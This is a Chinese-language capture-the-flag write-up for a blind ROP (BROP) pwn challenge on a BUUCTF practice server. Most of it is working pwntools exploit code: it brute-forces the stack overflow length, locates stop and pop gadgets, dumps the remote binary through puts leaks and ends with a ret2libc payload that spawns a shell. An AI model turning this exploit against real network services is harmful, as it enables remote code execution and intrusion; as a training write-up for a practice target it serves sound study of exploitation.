这题是BROP 所以不下文件
先nc一下看看:
先要找到栈溢出长度:
from pwn import *
import time
def getsize():
i = 1
while True:
try:
p = remote("node5.buuoj.cn", 29367)
p.sendafter("Please tell me:", b'a' * i)
time.sleep(0.1)
data = p.recv()
p.close()
if b"Goodbye!" not in data:
return i - 1
else:
i += 1
except EOFError:
p.close()
return i - 1
size = getsize()
print(size)
运行后 找到溢出长度为216:
接下来,找stop gadget 这里用main函数作为stop gadget:
def getStopGadget():
address = 0x4007d0
while True:
try:
p = remote("node5.buuoj.cn", 29367)
payload = b'a' * 216 + p64(address)
p.sendafter("Please tell me:", payload)
print(payload)
time.sleep(0.1)
buf = p.recv()
print(buf)
output = p.recv()
print(output)
if b"Hello" not in output:
p.close()
address += 1
else:
return address
except EOFError:
address += 1
p.close()
找到gadget是0x4007d6
接下来要找brop gadgets 用csu_init的:
def GetBropGadget(size, stop_gadget, addr):
try:
p = remote("node5.buuoj.cn", 29367)
payload = b'a' * size + p64(addr) + p64(0) * 6 + p64(stop_gadget) + p64(0) * 10
p.sendafter("Please tell me:", payload)
time.sleep(0.1)
buf = p.recv()
print(buf)
output = p.recv()
p.close()
print(output)
if b"Hello" not in output:
return False
return True
except EOFError:
p.close()
return False
def Check(size, addr):
try:
p = remote("node5.buuoj.cn", 29367)
payload = b'a' * size + p64(addr) + p64(0) * 10
p.sendafter(b'Please tell me:', payload)
time.sleep(0.1)
output = p.recv()
p.close()
print(output)
return False
except EOFError:
p.close()
return True
addr = 0x400900
while True:
print(hex(addr))
if GetBropGadget(216,0x4007d6,addr):
print("brop gadget: 0x%x"% addr)
if Check(216,addr):
print("brop gadget: 0x%x"% addr)
break
addr+=1
找到是0x40095a
找到了6个pop的地址 这个地址+9即为pop_rdi_ret 的地址
接下来找puts函数的PLT :
def getputsplt(size, pop_rdi_ret, stop_gadget):
addr = 0x400600
while True:
print(hex(addr))
try:
p = remote("node5.buuoj.cn", 29367)
payload = b'a'*size + p64(pop_rdi_ret) + p64(0x400000) + p64(addr) + p64(stop_gadget)
p.sendafter(b'Please tell me:', payload)
time.sleep(0.1)
buf = p.recv()
output = p.recv()
p.close()
if b'\x7fELF' in output: #ELF文件的头部魔数
print('puts plt address = 0x%x' % (addr))
return (addr)
addr += 1
except EOFError:
p.close()
addr += 1
接下来找puts的GOT:
def leak(size, pop_rdi_ret, puts_plt, leak_addr,stop_addr):
p = remote("node5.buuoj.cn", 29367)
payload = b'a'*size + p64(pop_rdi_ret) + p64(leak_addr) + p64(puts_plt) + p64(stop_addr)
p.sendafter(b'Please tell me:', payload)
p.recvuntil(b'a' * size)
p.recv(3)
try:
output = p.recv(timeout=1)
p.close()
try:
output = output[:output.index(b"\nHello,I am a computer")]
print(output)
except Exception:
output = output
if output == b"":
output = b"\x00"
return output
except Exception:
p.close()
return None
def dump_file(size, pop_rdi_ret, puts_plt,addr,stop_addr):
result = b''
while addr < 0x400835:
print(hex(addr))
output = leak(size, pop_rdi_ret, puts_plt,addr,stop_addr)
if output is None:
result += b'\x00'
addr += 1
continue
else:
result += output
addr += len(output)
with open('dump_file','wb') as f:
f.write(result)
生成的文件用IDA打开 二进制格式
之后在Edit->Segments->Rebase program 重设基地址为开始打印的地址:
找到对应plt地址:
puts GOT地址为 0x601018
接下来就是正常的libc:
def exp(size,pop_rdi_ret,puts_got,puts_plt,stop_gadget):
p = remote("node5.buuoj.cn", 29367)
libc = ELF('./libc-2.23.so')
ret = 0x40095a + 0x9 + 0x5
payload = b'a' * size + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(stop_gadget)
p.sendafter(b'Please tell me:', payload)
p.recvuntil(b'a'*size)
p.recv(3)
func_addr = p.recv(6)
puts_addr = u64(func_addr.ljust(8,b'\x00'))
print(hex(puts_addr))
offset = puts_addr - libc.symbols['puts']
system = offset + libc.symbols['system']
binsh = offset + next(libc.search("/bin/sh\x00"))
payload2 = b'a' * size + p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(system)
p.sendafter(b'Please tell me:', payload2)
p.interactive()
exp(size, pop_rdi_ret, puts_got, puts_plt, stop_gadget)
运行 得到flag:
好长🫥